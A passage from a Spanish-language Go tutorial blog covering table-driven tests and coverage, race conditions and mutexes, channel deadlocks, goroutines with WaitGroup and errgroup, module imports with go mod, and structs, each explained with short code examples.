    main_test.go:14: División incorrecta, obtuvimos 12 pero se esperaba 5
FAIL
exit status 1
FAIL    main/testing    0.001s

Manejo de casos con tablas

En el ejemplo anterior usamos una función para probar un caso, sin embargo, si necesitaramos someter a prueba múltiples casos, necesitariamos una función por cada test, bastante tedioso, ¿no?

Para evitar llenarse de funciones, los desarrolladores usan un array compuesto de structs, donde cada struct representa un caso a probar. Puedes pensar en el array de structs como una tabla, donde cada fila es un caso y cada columna un tipo de dato a probar.

En este caso, cada struct de nuestro array consiste en tres enteros; los primeros dos representan los argumentos, mientras que el último es el resultado.

	tables := []struct {
		x int
		y int
		r int
	}{
		{100, 10, 10}, // 100 / 10 = 10
		{200, 20, 10}, // 200 / 20 = 10
		{300, 30, 10},
		{1000, 100, 10},
	}

De seguro ya notaste que no estamos cubriendo la división entre cero, pero déjalo así por ahora.

Ya que contamos con nuestro array de structs, iteraremos sobre cada uno de sus elementos usando la función range de go . De esta manera cubriremos cada caso.

for _, table := range tables {
		total := Division(table.x, table.y)
		if total != table.r {
			t.Errorf("División de %d entre %d incorrecta, obtuvimos: %d, pero el resultado es: %d.", table.x, table.y, total, table.r)
		}
	}

Si todo salió bien, pasaremos todas las pruebas.

Coverage

Coverage ya forma parte del código en go, por lo que no necesitamos librerías externas. Si no sabes que es Coverage, piensa en él como el porcentaje de tu código que es sometido a pruebas. Si todo tú código pasa por las pruebas tendrás un coverage de 100%, si solo la mitad pasa por las pruebas el coverage será de 50%. Anteriormente te hablé del coverage en mi entrada unittest en Python.

Para calcular el coverage basta con agregar el flag -cover al comando go test

go test -cover

PASS
coverage: 100.0% of statements
ok      _/home/eduardo/Programacion/goTesting/testing   0.002s

Como nuestra función es muy corta, obtenemos un resultado de 100%, sin desglosar, de coverage

Exportar resultados de coverage

Podemos mandar el toda la información en bruto de nuestro test de coverage a un archivo externo con el flag -coverprofile.

go test -coverprofile=coverage.out

mode: set
/home/eduardo/Programacion/goTesting/testing/main.go:3.33,5.2 1 1

Este archivo, de nombre coverage.out, que fue generado, es un archivo que contiene información en bruto y que será necesario para visualizar los resultados de una manera más detallada.

Visualización de resultados con go tool

Para resumir de una manera más legible la información del archivo que contiene nuestro test de coverage, usaremos el comando tool, acompañado del flag -func, seguido del nombre del archivo. Lo que nos devolverá un resultado de coverage desglosado.

go tool cover -func=coverage.out

/home/eduardo/Programacion/goTesting/testing/main.go:3: Division        100.0%
total:                                                  (statements)    100.0%

Go también nos permite visualizar el coverage en formato HTML, con colores, directo en nuestro navegador. Para ello usamos la opción -html, seguido del archivo con los datos de coverage.

Al ejecutar el comando, se abrirá una pestaña de nuestro navegador y nos mostrará los resultados testeados en verde y los no testeados en rojos.

go tool cover -html=coverage.out

Coverage completo en html en go

Si decidimos modificar nuestra función para que maneje los casos de la división por cero, y corremos los tests de coverage de nuevo, obtendremos un esquema diferente al anterior. Ahora sí aparece una sección de código no cubierto por los tests en colo rojo y nuestro coverage bajó a 50%.

Coverage incompleto en html en go

Con esto termino esta entrada super corta sobre testeo en go. Para la siguiente entrada voy a hablar un poquito de profiling y daré por terminadas las entradas de go básico para escribir nuevamente sobre Python.

Otros recursos sobre testing

Go: condiciones de carrera en goroutines y mutex

Wed, 02 Feb 2022 00:00:00 +0000

En las entradas pasadas te hable un poco sobre las goroutines, los bloqueos o deadlocks y los channels . Pero hay otro tema bastante interesante sobre los goroutines que resalta cuando usamos asincronía y hay muchas funciones accediendo a los datos al mismo tiempo y. Múltiples funciones leyendo y escribiendo la misma información puede llevar a situaciones caóticas donde cosas muy extrañas pueden suceder.

¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel

¿Qué es una race condition o condición de carrera?

Si ya sabes que es una race condition o condición de carrera, puedes saltarte a la siguiente sección. Si no, sigue leyendo.

Una condición de carrera ocurre cuando dos subprocesos tienen acceso a una variable compartida al mismo tiempo. Voy a ponerte un ejemplo más detallado.

Imagínate que es un día especial en tu página web de dudoso contenido y vas a regalarles 20 tokens a tus usuarios por cada usuario nuevo que refieran. Entonces decides usar goroutines para implementar la funcionalidad. Todo va viento en popa, hasta que uno de tus clientes te contacta por un supuesto error.

DarkLord69 afirma haber referido a dos personas, sin embargo se queja de que sus tokens no se han incrementado en 40, sino en 20.

Probablemente crees que ya la regaste en el código, pero todo luce bien, ¿qué pudo haber salido mal? Tras revisar tu código te das cuenta de que el problema está en las goroutines.

Sucede que una goroutine leyó la cantidad de créditos de DarkLord69: 120, y, casi al mismo tiempo, otra goroutine leyó esos mismos créditos.

La primera goroutine dijo: “Tengo 120 créditos, si le sumo 20, el total de nuevos créditos es 140”.

Mientras que la segunda goroutine, casi al mismo tiempo que la primera, dijo: “Yo leí que había 120 créditos, si le sumo 20, el total de nuevos créditos será de 140”.

Ambas goroutines están estableciendo el total de créditos en 140, porque leyeron, casi al mismo tiempo, que había 120.

Ejemplo de una race condition o condición de carrera en go.

Como ya sabrás, DarkLord69 no estará muy contento, pero si le das unos tokens extras como compensación no debería haber problema. Pero, ¿y si en lugar de haber sido tokens hubiera sido dinero? ¿o quizás algún otro bien más preciado?

Ahora vamos a un ejemplo hecho en código.

Si no entiendes que hace el waitgroup, escribí una entrada donde te explico las goroutines, channels y los waitgroups que puedes consultar. Por ahora quédate con la idea de que esperan a que todas las goroutines finalicen antes de proseguir la ejecución del código.

package main

import (
	"fmt"
	"sync"
)

var tokens int = 120

func main() {
	var wg sync.WaitGroup
	for i := 0; i < 10; i++ {
		wg.Add(1)
		go func() {
			tokens_leidos := tokens
			tokens_leidos += 20
			tokens = tokens_leidos
			wg.Done()
		}()
	}
	wg.Wait()
	fmt.Println(tokens)
}

La parte importante radica en que, dentro de una goroutine, leemos el contenido variable tokens, posteriormente la incrementamos en 20 y luego ese resultado lo asignamos a tokens otra vez. Pero no hay problema alguno, si ejecutamos el código obtendremos el resultado correcto: 320 (120 tokens + Un incrementos de 20 tokens para cada una de las 10 goroutines).

Todo perfecto ¿o no? No, el código es tan pequeño y el proceso ocurre tan rápido que no se nota el problema.

Si añadimos un pequeño momento de espera en las goroutines (que puede ser causado por un acceso a la base de datos o cualquier otro proceso), enfrentaremos el problema cara a cara.

package main

import (
	"fmt"
	"sync"
	"time"
)

var tokens int = 120

func main() {
	var wg sync.WaitGroup
	for i := 0; i < 10; i++ {
		wg.Add(1)
		go func() {
			tokens_leidos := tokens
			time.Sleep(1 * time.Millisecond) // Tiempo de espera
			tokens_leidos += 20
			tokens = tokens_leidos
			wg.Done()
		}()
	}
	wg.Wait()
	fmt.Println(tokens)
}

Tras la ejecución del código, en lugar del resultado correcto, yo obtengo 140 con 1 milisegundo y 200 con un microsegundo.

Detectar condiciones de carrera con –race

Para ayudarnos a identificar estos problemas, Go cuenta con un flag para detectar condiciones de carrera, si ejecutamos la compilación con el flag --race veremos que go nos advierte de que nuestro código posee condiciones de carrera.

go build --race main.go
./main.go
==================
WARNING: DATA RACE
Read at 0x0000005fe430 by goroutine 8:
# ...

Prevenir condiciones de carrera con Mutex

Existe un objeto llamado Mutex (mutual exclusion) que garantizará que nuestro código no acceda a una variable hasta que nosotros le indiquemos, evitando que se den las condiciones de carrera o race conditions.

Piensa en un mutex como una cerradura, que bloqueará el acceso a nuestro código por parte de otras goroutines, hasta que lo liberemos.

var lock sync.Mutex
lock.Lock()
// Todo lo que está aquí está bloqueado para el resto de las goroutines
lock.Unlock()

Funcionamiento del Mutex en go

Si protegemos la lectura y la escritura de la variable tokens, nuestro código debe funcionar perfectamente. Incluso si compilamos con el flag --race y lo ejecutamos, Go ya no nos devolverá una advertencia.

package main

import (
	"fmt"
	"sync"
	"time"
)

var tokens int = 120

func main() {
	var wg sync.WaitGroup
	var lock sync.Mutex
	for i := 0; i < 10; i++ {
		wg.Add(1)
		go func() {
			lock.Lock()
			// Todo lo que está aquí está bloqueado para el resto de las goroutines
			tokens_leidos := tokens
			time.Sleep(1 * time.Millisecond)
			tokens_leidos += 20
			tokens = tokens_leidos
			lock.Unlock()
			wg.Done()
		}()
	}
	wg.Wait()
	fmt.Println(tokens)
}

Mutex de lectura y escritura

Además del mutex anterior, Go cuenta con un lock llamado RWMutex, que permite que, en un momento dado, solo una sola goroutine escriba o que múltiples lectores lean.

RWmutex funciona activando el candado o bloqueo cuando hay un proceso escribiendo en el lock, durante ese momento, no se puede leer ni escribir dentro del contenido del candado. Pero cuando un proceso está leyendo, otros procesos pueden leer también.

var lock sync.RWMutex
lock.RLock()
// Todo lo que está aquí está bloqueado para el resto de las goroutines
lock.RUnlock()

Recursos útiles sobre mutex

Race conditions (en inglés)

Go: channels, entendiendo los deadlocks o puntos muertos

Wed, 26 Jan 2022 00:00:00 +0000

Cuando trabajamos con channels hay un error bastante común que ocurre cuando no se está familiarizado con los conceptos, el error es “fatal error: all goroutines are asleep - deadlock!”, traducido significa algo como “error fatal: todas las goroutines están dormidas - en un punto muerto”. La primera vez que vi este error me confundió mucho y, aunque sabía como solucionarlo, no entendía porque sucedía, así que en esta entrada te explico porque sucede como me hubiera gustado haberlo leído en su momento.

¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel

¿Por qué sucede el error fatal error: all goroutines are asleep - deadlock!?

Este error sucede cuando:

Un canal manda información, pero no uno que la reciba.
Existe un canal que recibe información, pero no uno que la mande.
Cuando no estamos dentro de una goroutine diferente a la de la función main

En cualquiera de estos casos las goroutines se quedan “esperando” ya sea mandar o recibir información, por lo que se puede decir que estamos “atascados” y es entonces cuando recibimos el error fatal error: all goroutines are asleep - deadlock!

Operaciones bloqueantes

En go, las operaciones que mandan o reciben valores de canales son bloqueantes dentro de su propia goroutine (recuerda que la función main es una goroutine), es decir, mantienen la ejecución del código en espera :

Si una operación recibe información de un canal, se bloqueará hasta que la reciba.
Si una operación manda información a un canal, se bloqueará hasta que la información enviada sea recibida.

Conociendo las dos situaciones anteriores tendremos dos casos principales:

Bloqueo o deadlock por falta de remitente

¿Qué pasa si una operación está esperando recibir información de un canal, pero ese canal no va a mandar nada jamás?

Sucede cuando existe un canal que recibe información, pero no uno que la mande.

No hay una operación que envie datos a través de un canal.

package main

import (
	"fmt"
)

func main() {

	c := make(chan string)
	fmt.Println(<-c)
}
// fatal error: all goroutines are asleep - deadlock!

Bloqueo o deadlock por falta de destinatario

¿Y si una operación manda información a un canal pero ya no hay ninguna otra goroutine que reciba la información de ese canal?

Sucede cuando existe un canal que manda información, pero no uno que la reciba.

En un deaclock por falta de canal de salida no hay una operación que reciba texto a través de un canal.

package main

func main() {

	c := make(chan string)
	c <- "texto"
}
// fatal error: all goroutines are asleep - deadlock!

Bloqueo por ausencia de goroutine

Existe un tercer caso: si hay una operación que escribe y lea de un canal, como en el ejemplo de abajo, pero no se encuentra dentro de otra goroutine (diferente a la goroutine de main) que lea el valor, obtendremos un error de deadlock o bloqueo.


package main

import "fmt"

func main() {
    var channel = make(chan string)
    channel <- "forty two"
    fmt.Println(<-channel) // Esto debería de estar en otra goroutine
    fmt.Println("Finished")
}
// fatal error: all goroutines are asleep - deadlock!

En los tres casos anteriores el programa se quedaría esperando y, como ya sabes, no tiene sentido mantener el programa esperando por algo que jamás sucederá, por lo que la ejecución se corta y se genera el error fatal: “fatal error: all goroutines are asleep - deadlock!”

A la situación anterior se le conoce como un deadlock o punto muerto.

Deadlocks o puntos muertos

En un deadlock hay una goroutine que está esperando leer o escribir en un canal, sin embargo ya no hay ninguna goroutine ejecutándose pues están esperándose las unas a las otras; están en un punto muerto del que no se puede avanzar.

Prevenir deadlocks en go con goroutines

En la introducción a los channels o canales en go , te dije que la capacidad por defecto de un canal es de 0, esto provoca que no podamos almacenar datos en los canales de manera predeterminada. Si intentamos almacenar un dato en un canal, obtendremos un error por parte del compilador, pues ya no existe otra goroutine que reciba el valor de manera inmediata.

Para prevenir un deadlock, podemos usar inmediatamente el dato del canal creando una goroutine que use el valor del canal.


package main

import "fmt"

func main() {
    var channel = make(chan int)
    go func(channel chan int) {
        channel <- 42
    }(channel)
    fmt.Println(<-channel)
    fmt.Println("Finished")
}
// No ocurre el error de deadlock

En este caso he creado una goroutine con una función anónima que se encarga de leer del canal.

Prevenir deadlocks en go con buffered channels

Si un canal no tiene buffer, el valor queda “retenido” hasta que se reciba, bloqueando la ejecución mientras sucede, ocasionando el deadlock o punto muerto si nadie lo recibe.

Por otro lado, si el canal tiene buffer, entonces la ejecución se bloquea hasta que el valor se haya copiado al buffer, por lo que no obtendremos un error, incluso si ninguna goroutine lo recibe.

En un canal con buffer no importa si el valor no se lee pues ya ha sido copiado al buffer

package main

import "fmt"

func main() {
    var channel = make(chan int, 1)
    channel <- 42
    fmt.Println(<-channel)
    fmt.Println("Finished")
}
// No ocurre el error de deadlock

Recursos sobre deadlocks en go

Para concluir el artículo, te comparto algunos recursos interesantes que hablan de los deadlocks o puntos muertos.

Go: uso de channels o canales para comunicar goroutinas

Sat, 22 Jan 2022 00:00:00 +0000

Hasta ahora te he explicado como ejecutar una goroutine, ejecutar código de manera concurrente con las goroutines y a esperar a que terminen de ejecutarse pero nuestras goroutines no pueden hacer nada más, no pueden cooperar entre ellas para acelerar los procesos.

Imagínate que tienes un web scrapper que obtiene datos de internet de manera concurrente; obtenemos los datos con goroutines y los procesamos con goroutines. ¿tenemos que esperar a que terminen todas las goroutines para usarlos? Lo ideal sería que las goroutines se comunicaran entre ellas los datos y continuaran con el proceso.

¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel

Comunicando goroutines con channels

Los channels o canales son “conductos”, que aceptan un único tipo de dato. A través de estos canales “introducimos” información que, posteriormente, podremos “sacar”.

Las goroutines pueden enviar datos a los canales y también leer datos de ellos, logrando comunicarse entre si.

Esquema básico del funcionamiento de los channels o canales en Go

Un channel o canal en go se declara con make y la palabra chan, que hace referencia a la palabra channel.

c := make(chan string)

Los channels son usados para comunicar goroutines, como en el patrón de diseño worker pool

Channels o canales con buffer

La función make permite pasarle como un argumento extra la cantidad límite de datos simultaneos que manejará ese canal. A esto se le conoce como un canal con buffer o buffered channel.

c := make(chan string, 1)

Channels o canales unbuffered

Si no especificamos un tamaño de buffer el canal:

Bloqueará al remitente hasta que el destinatario esté listo para recibir la información
Bloqueará al destinatario hasta que el remitente esté listo para enviar la información

O visto de otra forma, si intentas enviar información a un canal sin buffer, la operación se bloqueará hasta que la información sea recibida. Si intentas recibir información esta se bloqueará hasta que la información sea mandada.

Estos canales son útiles cuando quieres garantizar que el remitente y el destinatario estén sincronizados y que la información se transmite inmediatamente, pero pueden ocasionar bloqueos si el remitente y el destinatario no están sincronizados.

Acceder a un channel en una función

Cuando querramos hacer referencia al canal como argumento de una función, es necesario indicar el tipo de dato del canal.

func say(text string, c chan string) {}

El tipo de dato de un canal también puede ser uno definido usando un struct.

func say(text string, c chan MiStruct) {}

Meter datos en un channel

Para indicar la entrada de datos a través del channel usamos el binomio de caracteres <-

func say(text string, c chan string) {
    c <- text
}

Sacar datos de un channel

Para obtener la respuesta del canal invertimos el orden entre el canal y el símbolo <-

fmt.Println(<-c)

Meter y sacar datos de un channel en go

El proceso completo de introducir y extraer datos de un channel en go se vería algo así:

Creamos un canal de un tipo de dato usando make
Introducimos un dato (en este caso string) al canal usando una goroutine
Extraemos el texto del canal y le damos uso (en este caso solo lo imprimimos)

package main

import "fmt"

func escribirEnCanal(texto string, c chan string) {
	c <- texto
}

func main() {
	c := make(chan string)
	go escribirEnCanal("Dato de un canal", c)
	fmt.Println(<-c)
}

Canales de entrada y salida

Hay canales que reciben información y canales que sacan información, de manera predeterminada un canal es bidireccional, pero podemos declarar canales de entrada y de salida.

Para identificarlos, observa el flujo de la flecha alrededor de la palabra chan; una entra (o se dirige) a chan y la otra sale de chan.

Este es un canal de entrada.

func say(text string, c chan<- string) {}

Mientras que este es un canal de salida.

func say(text string, c <-chan string) {}

Es importante definir el tipo de canal pues, con los canales bidireccionales corremos el riesgo de ocasionar un bloqueo o deadlock en nuestro programa de go .

Capacidad de un canal

¿Recuerdas que te dije que la función make podía establecer el número máximo de datos que puede trabajar un canal? Pues es posible recuperar esa información usando la función len

La función len nos dice cuantos datos hay en un channel, mientras que cap nos devuelve la capacidad máxima, respectivamente.

c := make(chan string, 3)
c <- "dato1"
c <- "dato2"
fmt.Println(len(c), cap(c))
// 2 3

En el ejemplo anterior, el canal tiene ocupados dos espacios, pero tiene una capacidad total de 3, incluso aunque no todos sus espacios estén ocupados.

Cerrar un canal o channel en go

Si queremos inhabilitar un canal, incluso aunque tenga capacidad disponible para almacenar más datos, la función close nos permite hacerlo.

c :=make(chan string, 3) 
c <- "dato1" 
c <- "dato2" 
close(c)
c <- "dato3"
//panic: send on closed channel

Iterar sobre un canal

Range es ideal para iterar sobre los datos de los canales. Sin embargo, es importante resaltar que, no existe certeza sobre que dato recibiremos puesto que el contenido del canal puede venir de múltiples goroutines.

c := make(chan string, 3)
c <- "dato1"
c <- "dato2"
close(c)
for message := range c {
	fmt.Println(message)
}

Con eso conoces la información básica de los canales y como puedes utilizarlos para comunicar gorutinas.

Go: introducción a las goroutines y concurrencia

Wed, 19 Jan 2022 00:00:00 +0000

Como te mencioné en la introducción al lenguaje de programación go: go es un lenguaje especializado en la concurrencia . Es un lenguaje que fue diseñado para manejar múltiples tareas de manera asíncrona. Esta entrada trata sobre los channels o canales de go.

¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel

Concurrencia no es paralelismo

Antes de empezar, recuerda que paralelismo y concurrencia son diferentes.

View this post on Instagram

Este post es muy pequeño para tratar un tema tan amplio, sin embargo hay dos recursos que quiero destacar:

Cito una frase del primer recurso que, a mi parecer, resume bastante bien la diferencia:

Un programa es concurrente si puede soportar dos o más acciones en progreso.

Un programa es paralelo si puede soportar dos o más acciones ejecutándose simultáneamente.

Felipe Restrepo Calle

Si aún así te parecen confusos y no entiendes la diferencia, dale una leída a esos posts y deberías estar listo para seguir adelante.

Corrutinas en go

Una corrutina , en go, es una función o método que se ejecuta concurrentemente junto con otras funciones o métodos. En go, a las corrutinas se les conoce como goroutines o gorutinas. Incluso, la función principal, main, se ejecuta dentro de una.

Las goroutines son usadas en patrones de diseño, como el patrón de diseño worker pool

Para generar una goroutine agregamos el keyword go antes de una función. Lo anterior programará la función para su ejecución asíncrona.

func write(texto string) {
fmt.Println(texto)
}
fmt.Println("hey")
go write("hey again")
// hey

En el caso anterior, debido a su naturaleza asíncrona, la goroutine no detiene la ejecución del código. Lo anterior implica que el cuerpo de la función main continua su ejecución y nuestra goroutine nunca llega a ejecutarse.

¿Pero entonces? ¿cómo le hacemos para que nuestra goroutine se ejecute? La aproximación ingenua sería usar un sleep para pausar la ejecución del código. Esto, como ya sabes, es un sinsentido. ¡No podemos estar poniéndo sleeps en todos lados, el flujo del programa se ralentizaría innecesariamente!

// NO LO HAGAS
time.Sleep(1 * time.Second)

Una mejor aproximación sería crear un WaitGroup o grupo de espera.

WaitGroups en go

Un WaitGroup detendrá la ejecución del programa y esperará a que se ejecuten las goroutines.

Internamente, un WaitGroup funciona con un contador, cuando el contador esté en cero la ejecución del código continuará, mientras que si el contador es mayor a cero, esperará a que se terminen de ejecutar las demás goroutines.

var wg sync.WaitGroup

wg.Wait()
fmt.Println("Si el contador del waitgroup es mayor que cero se continuará con esta función.")

¿Y como cambiamos el valor del contador?

Para incrementar y decrementar el contador del WaitGroup usaremos los métodos Add y Done, respectivamente.

El método Add

El método Add incrementa el contador del WaitGroup en n unidades, donde n es el argumento que le pasamos.

El truco está en llamarlo cada vez que ejecutemos una goroutine.

wg.Add(1)
go write("Hey")

El Método Done

El método Done se encarga de disminuir una unidad del contador del WaitGroup. Lo llamaremos para avisarle al WaitGroup que la goroutine ha finalizado y decremente el contador en uno.

func write(texto string, wg *sync.WaitGroup) {
	fmt.Println(texto)
	wg.Done()
}

Recuerda que la instancia del WaitGroup (wg *) necesita pasarse por referencia o de otra manera no accederemos al WaitGroup original.

func write(texto string, wg *sync.WaitGroup) {
    fmt.Println(texto)
    defer wg.Done()
}

Tip: usa defer sobre el método Done para garantizar que sea lo último que se ejecute.

Una vez que el contador de wg.Wait se vuelve cero, se continua la ejecución del programa.

var wg sync.WaitGroup
wg.Add(1)
go escribirEnCanal("Ge", &wg)
wg.Wait()

Funciones anónimas en goroutines

Cuando se usan gorutinas, es bastante común utilizar funciones anónimas para evitar declarar una función nueva.

go func() {
}()

Recuerda que los paréntesis que aparecen tras el cuerpo de la función ejecutan la función anónima que declaramos y también reciben sus argumentos.

go func(text string) {
}("Texto")

Cómo gestionar errores en goroutines con errgroup

Dentro de las goroutines, las cosas pueden salir mal. ¿Cómo podemos manejar estas situaciones? En lugar de llamar a nuestra goroutines con go, crearemos un errgroup. Este errgroup tendrá una función llamada go, cuyo propósito es llamar a cualquier función que pasemos como goroutines. La función debe devolver un error.

Funciona exactamente igual que un sync group en Go: esperará a todas las goroutines y, si encuentra un error, podremos gestionarlo.

package main

import (
	"context"
	"errors"
	"fmt"

	"golang.org/x/sync/errgroup"
)

func main() {
	group, _ := errgroup.WithContext(context.Background())
	group.Go(func() error {
		return errors.New("new error inside goroutine")
	})
	if err := group.Wait(); err != nil {
		fmt.Printf("Group finished but with error: %v\n", err)
	} else {
		fmt.Println("All tasks completed successfully with no errors")
	}
}

Usando contexto en errgroup

También podemos usar el contexto como su segundo parámetro para devolver el error de cancelación de contexto.

  group, ctx := errgroup.WithContext(context.Background())
	group.Go(func() error {
		return fmt.Errorf("an error occurred")
	})
	group.Go(func() error {
		select {
		case <-time.After(200 * time.Millisecond):
			fmt.Println("If there is an error this won't be executed. If there is no error expect this message to be on the screen")
			return nil
		case <-ctx.Done():
			fmt.Println("Context cancelled because errgroup found and error. We couldn't wait 200 ms")
			return ctx.Err() 
		}
	})

Si cambias el primer error a nil, verás que la goroutine retrasada se ejecutará normalmente y no se mostrará el mensaje de contexto.

Más recursos sobre goroutines

Para finalizar te dejo algunos otros recursos sobre gorutinas que puedes consultar.

Docs

Go: importación de paquetes y manejo de modulos

Wed, 12 Jan 2022 00:00:00 +0000

En go puedes considerar un paquete como todos los archivos que contenga un directorio y un modulo como una colección de paquetes. Para usar el código de un paquete necesitamos importarlo, sin embargo, en Go no existen las importaciones de módulos relativas. Antes de Go 1.8, para importar paquetes (no había modulos) era necesario usar la ruta absoluta, considerando como base la ruta a la que apuntaba la variable de entorno $GOPATH o. A partir de Go 1.11, la manera más sencilla de trabajar con paquetes es usar go mod. Te explicaré esta última.

¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel

Diferencia entre modulos y paquetes en go

Definir el nombre de un paquete en Go

Antes de empezar, ¿recuerdas que te comenté en la introducción al lenguaje de programación Go , que el nombre de cada paquete se establece al principio de cada archivo, colocándolo después de la palabra reservada package?

Para este ejemplo el nombre del paquete será videogame.

Una vez definido, crearé un modelo o struct en videogame.go.

//videogame/videogame.go
package videogame

type Videogame struct {
    Id          int32
    Title       string
}

Recuerda que las reglas de privacidad de los structs en Go dicen que para que podamos acceder a un struct o sus propiedades, desde otro paquete a donde fue declarado, debemos usar mayúsculas.

Lo sé, es una de las cosas que aborrezco del lenguaje de Go, no tanto como para abandonarlo, pero bastante engorroso en mi opinión, sobre todo al debuggear, vengan los REGEX.

Una vez creado terminaremos con una structura similar a esta

Localización del archivo principal y nuestro modulo en go

Importar paquetes con go.mod

¿Para que sirve un archivo go.mod?

Un archivo de go.mod define un modulo y nos permite establecer el directorio que usaremos como base para importar los paquetes.

Archivo go.mod que contiene el nombre del modulo

En el ejemplo de arriba el archivo go.mod nos permitirá tratar a la ruta videogame como un paquete e importar código desde la ruta mimodulo/videogame

¿Qué contiene un archivo go.mod?

El archivo básico de go.mod es muy corto, dentro de este solo se especifica el nombre del modulo, el cual usaremos para realizar las importaciones, y la versión de go. Es todo.

module mimodulo

go 1.15

Crear un archivo go.mod

El comando go mod init, seguido del nombre que tomará como la ruta base para nuestro paquete, creará un archivo de nombre go.mod en el directorio donde lo ejecutemos.

go mod init mimodulo

Por ejemplo, si le pasamos como nombre mimodulo, todas las carpetas que estén al mismo nivel que el archivo go.mod y que declaren un package al inicio de su archivo, se considerarán paquetes.

Y podremos importarlos directo desde nuestro archivo main.go

import (
	"mimodulo/foobar"
	"mimodulo/videogame"
)

Modulos remotos en Go

El manejador de modulos de go

Go tiene un manejador de modulos equivalente a pip y npm, python y javascript, respectivamente, llamado get.

go get

Para obtener modulos remotos ejecutamos el comando go get en consola seguido de la ruta de nuestro paquete; soporta cualquier repositorio, no solo github. Desde la versión de go 1.18, go get no compila el código que descarga, sino que se limita a agregar, actualizar o remover dependencias en el archivo go.mod.

go get github.com/labstack/echo

Tras la ejecución del comando, go descargará los archivos en la ruta a donde apunte la variable de entorno $GOPATH y realizará las importaciones correspondientes en tu archivo go.mod.

module mipaquete

go 1.15

require (
	github.com/labstack/echo v3.3.10+incompatible // indirect
	github.com/labstack/gommon v0.3.1 // indirect
)

Podrás notar que sus paquetes estarán disponibles para que los importemos con su respectiva ruta.

import "github.com/labstack/echo"

En caso de que necesitemos una versión en específico la declaramos después de la ruta.

go get github.com/labstack/echo/v4

Instalación de código con go install

Por otro lado, go install no descarga código, sino que compila un modulo e instala el binario en $GOPATH/bin, ignorando el contenido del archivo go.mod cuando se le especifica una versión a través de la linea de comandos.

go install sigs.k8s.io/kind@v0.9.0

Go install generalmente se usará para instalar comandos.

Importar paquetes remotos en go

Los paquetes que se encuentran en repositorios de código, como GitHub, GitLab o BitBucket, requieren que especifiquemos la ruta completa del repositorio como su ruta de importación.

go mod init github.com/usuario/paquete

Importar paquetes sin usarlos

Hay ocasiones en donde querremos importar paquetes y no usarlos. Para esto basta con agregar un guión bajo antes de la importación.

import (
  _ "fmt"
)

Alias al importar paquetes

Go también nos permite declarar un alias a la hora de importar un paquete anteponiendo el alias a la ruta de importación.

import nuestroAlias "ruta/a/paquete"

De esa manera podemos tratar nuestro alias como si se tratara del nombre del paquete que estamos importando.

import nuestroAlias "mipaquete/videogame"
// ... nuestroAlias reemplaza a videogame
var vd = nuestroAlias.Videogame{Id: 1, Title: "hola"}

Importaciones con punto

Go permite acceder al contenido del paquete de manera directa si importamos usando como alias un punto. De esta manera podemos ignorar el nombre del paquete y acceder directamente a los objetos que contiene.

import . "mipaquete/videogame"
// ... en lugar de videogame.Videogame podemos usar solo Videogame
var vd = Videogame{Id: 1, Title: "hola"}

Librerías en Go

Si estás buscando librerías que aceleren el desarrollo de algún proyecto, existe un directorio de frameworks, librerías y utilidades en Awesome go , hay recursos para todo, desde GUI, ORMs, web frameworks, machine learning y todo lo que te puedas imaginar.

Otros recursos

Go: Structs, herencia, polimorfismo y encapsulación

Tue, 04 Jan 2022 00:00:00 +0000

Como ya te mencioné en la introducción al lenguaje de programación Golang o Go , este lenguaje no tiene una palabra reservada para tratar con clases, sino que usa structs para emular características como herencia, polimorfismo, encapsulación y otras propiedades de las clases que probablemente hayas usado en otros lenguajes de programación.

¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel

¿Qué es un struct en Go?

Un struct en go es una colección de campos. Se definen con el keyword type seguido del nombre a asignar y la palabra struct.

type Videogame struct {
    Title string
    Year int
}

Crear instancias de un struct en go

Una vez definida la estructura de nuestro struct se pueden crear instancias del mismo.

var myVideogame = Videogame{Title: "Nier", Year: 2017}
// Esto de abajo solo dentro de una función
myVideogame := Videogame{Title: "Nier", Year: 2017}

También es posible crear una instancia declarando el tipo de dato y después asignando un valor a los campos.

var myVideogame Videogame
myVideogame.Title = "Nier"

Si no especificamos un valor, se asignará el respectivo zero value al tipo de variable de go.

fmt.Println(myVideogame)
// {Nier 0}

Campos anónimos en structs

En go, es posible no declarar el nombre del campo de nuestro struct y colocar únicamente el tipo de dato. Hecho así, los campos adoptarán el nombre del tipo de dato y podemos acceder a ellos usándolos.

type Videogame struct { 
    string 
    int 
}

myVideogame := Videogame{string: "Titulo", int: 2017}
fmt.Println(myVideogame)
// imprime {Titulo 2017}

¿Y que pasa si queremos un struct con muchos campos de un mismo tipo? Esta característica no funcionará si tenemos múltiples campos del mismo tipo en nuestro struct.

Privacidad y encapsulación en los structs

Para marcar un struct, función o variable como privada o pública, igual que sus respectivos campos para el struct, basta con declarar la primera letra del campo con mayúsculas o minúsculas, para público y privado, respectivamente.

Personalmente, creo que este es uno de los aspectos más complicados de este lenguaje, ¿por qué? porque cuando necesites buscar un campo privado, probablemente necesites usar regex, en lugar de simplemente buscar por la palabra private.

Acceder a una entidad privada desde otro módulo, ajeno a donde se declara**,** será imposible. Mientras que las entidades públicas son accesibles desde cualquier modulo, incluso si el struct no se declaró ahí

mayúsculas, público, accesible dentro y fuera del paquete donde se declara.
minúsculas, privado, solo accesible dentro del paquete donde se declara.

// Videogame struct que representa a videogame
type Videogame struct {
    Title string
    Year int
}

Composición y structs en go

Podemos agrupar funcionalidades que involucren a nuestros structs declarando funciones que accedan a estos.

Puedes pensar en estos como los métodos de una clase.

¿Cómo acceder a los structs en un método en Go?

Para acceder a instancias de structs en las funciones necesitamos colocar un par de parentesis entre la keyword func y el nombre de la función. Estos paréntesis contienen el nombre que usaremos para acceder a la instancia del struct, seguido del caracter de desestructuración y, por último, el nombre del struct.

func (myStructVariable *Videogame) PrintYear(){
    fmt.Println(myStructVariable.Year)
}

